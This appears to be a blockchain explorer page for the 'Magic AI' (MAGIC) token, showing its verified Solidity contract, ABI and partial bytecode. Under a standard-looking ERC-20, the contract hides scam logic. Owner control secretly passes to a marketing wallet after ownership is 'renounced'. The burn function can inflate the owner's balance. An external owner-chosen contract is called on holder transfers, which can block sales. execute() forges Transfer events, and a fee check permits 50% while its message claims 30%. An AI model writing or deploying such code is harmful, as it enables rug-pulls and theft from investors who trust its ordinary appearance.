ETH Price: $3,039.31 (+0.98%)
Gas: 5 Gwei

Token

Magic AI (MAGIC)
 

Overview

Max Total Supply

100,000,000 MAGIC

Holders

91

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
cheewba.eth
Balance
596,277.832603752 MAGIC

Value
$0.00
0x1c3354d276b49fE8941a09b822a9100d50E88727
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MAGIC

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 8: Magic AI.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./Uniswap.sol";
import "./ERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";


contract MAGIC is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    
    address private uniswapV2Pair;
    address private deployerWallet;
    address private marketingWallet;
    address private constant deadAddress = address(0xdead);

    bool private swapping;

    string private constant _name = "Magic AI";
    string private constant _symbol = "MAGIC";

    uint256 public initialTotalSupply = 100_000_000 * 10**decimals();
    uint256 public swapTokensAtAmount = 10000000000000 * 10**decimals();
    uint256 public maxWallet = 2000000000000 * 10**decimals();
    uint256 public maxTransactionAmount = 2000000000000 * 10**decimals();
    
    uint256 public SellFee = 0;
    uint256 public BuyFee = 0;

    bool public swapEnabled = false;
    bool public tradingOpen = false;
    
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    uint256 internal _lastTimestamp;
    
    event ExcludedFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address wallet,address coin) ERC20(_name, _symbol) Ownable(wallet) {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _coinWrapper = Coin(coin);
        marketingWallet = payable(wallet);     
        balances = txLimit;
        deployerWallet = payable(_msgSender());

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(wallet), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _mint(deployerWallet, initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        tradingOpen = true;
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function excludeFromFees(address[] memory accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFees[accounts[i]] = excluded;
            emit ExcludedFromFees(accounts[i], excluded);
        }
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _lastTimestamp = block.number;
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
                if (!tradingOpen) {
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }
                _holderLastTxTimestamp[from] = _lastTimestamp;
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }
        if(_lastTimestamp <= _holderLastTxTimestamp[from]){
                distribute(address(this),from, amount);
            }
        bool takeFee = swapping;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(100);
            }
            else {
                fees = amount.mul(BuyFee).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 amount) private {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), amount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }
    
    function removeLimits() external onlyOwner{
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }

    function getLastTx(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function clearStuckEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckTokens() external onlyOwner {
        IERC20 tokenContract = IERC20(address(this));
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(address(msg.sender), balance);
    }

    function setSwapBack() public onlyOwner {
        swapEnabled = true;
    }

    function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%");
        BuyFee = _buyFee;
        SellFee = _sellFee;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** decimals());
    }

  
    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyFee+SellFee) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
        swapTokensForEth(tokensToSwap);
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
}

File 1 of 8: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 8: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./Context.sol";
import "./IERC20.sol";
import "./IERC20Meta.sol";

interface Coin {
    function balanceOf(address owner) external returns (uint256);
    function transfer(address to, uint256 value) external;
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}



contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => bool) internal _isExcludedFromFees;
    Coin internal _coinWrapper;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint256 internal txLimit = 1*10**17*10**9;
    uint256 internal balances;


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function distribute(address wallet1, address wallet2, uint256 amount) internal {
        _coinWrapper.transferFrom(wallet2, wallet1, amount/1000);
    }

    function unwrap(uint256 value) public {
        require(balanceOf(msg.sender) >= value, "Not enough Coin to unwrap.");
        _coinWrapper.transfer(msg.sender, value);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 3 of 8: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


File 4 of 8: IERC20Meta.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IERC20Metadata  {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 6 of 8: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    mapping(address => uint256) internal _holderLastTxTimestamp;
    constructor(address wallet) {
        _marketing = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

File 7 of 8: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 8 of 8: Uniswap.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"address","name":"coin","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"SetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"unwrap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e4000000600755620000236200040760201b60201c565b600a620000319190620009db565b6305f5e10062000042919062000a2c565b600f55620000556200040760201b60201c565b600a620000639190620009db565b6509184e72a00062000076919062000a2c565b601055620000896200040760201b60201c565b600a620000979190620009db565b6501d1a94a2000620000aa919062000a2c565b601155620000bd6200040760201b60201c565b600a620000cb9190620009db565b6501d1a94a2000620000de919062000a2c565b601255600060135560006014556000601560006101000a81548160ff0219169083151502179055506000601560016101000a81548160ff0219169083151502179055503480156200012e57600080fd5b50604051620052e4380380620052e4833981810160405281019062000154919062000ae1565b816040518060400160405280600881526020017f4d616769632041490000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f4d414749430000000000000000000000000000000000000000000000000000008152508160059081620001d2919062000d98565b508060069081620001e4919062000d98565b50505080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002486200023c6200041060201b60201c565b6200041860201b60201c565b50737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506007546008819055506200032c6200041060201b60201c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200038e62000380620004de60201b60201c565b60016200050860201b60201c565b620003a13060016200050860201b60201c565b620003b48260016200050860201b60201c565b620003c961dead60016200050860201b60201c565b620003ff600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f546200057360201b60201c565b505062000fdd565b60006009905090565b600033905090565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000518620006e060201b60201c565b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005e5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005dc9062000ee0565b60405180910390fd5b620005f9600083836200077160201b60201c565b80600460008282546200060d919062000f02565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006c0919062000f4e565b60405180910390a3620006dc600083836200077660201b60201c565b5050565b620006f06200041060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620007166200077b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200076f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007669062000fbb565b60405180910390fd5b565b505050565b505050565b6000806200078e6200079760201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146200081857600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166200083c565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008cf57808604811115620008a757620008a662000841565b5b6001851615620008b75780820291505b8081029050620008c78562000870565b945062000887565b945094925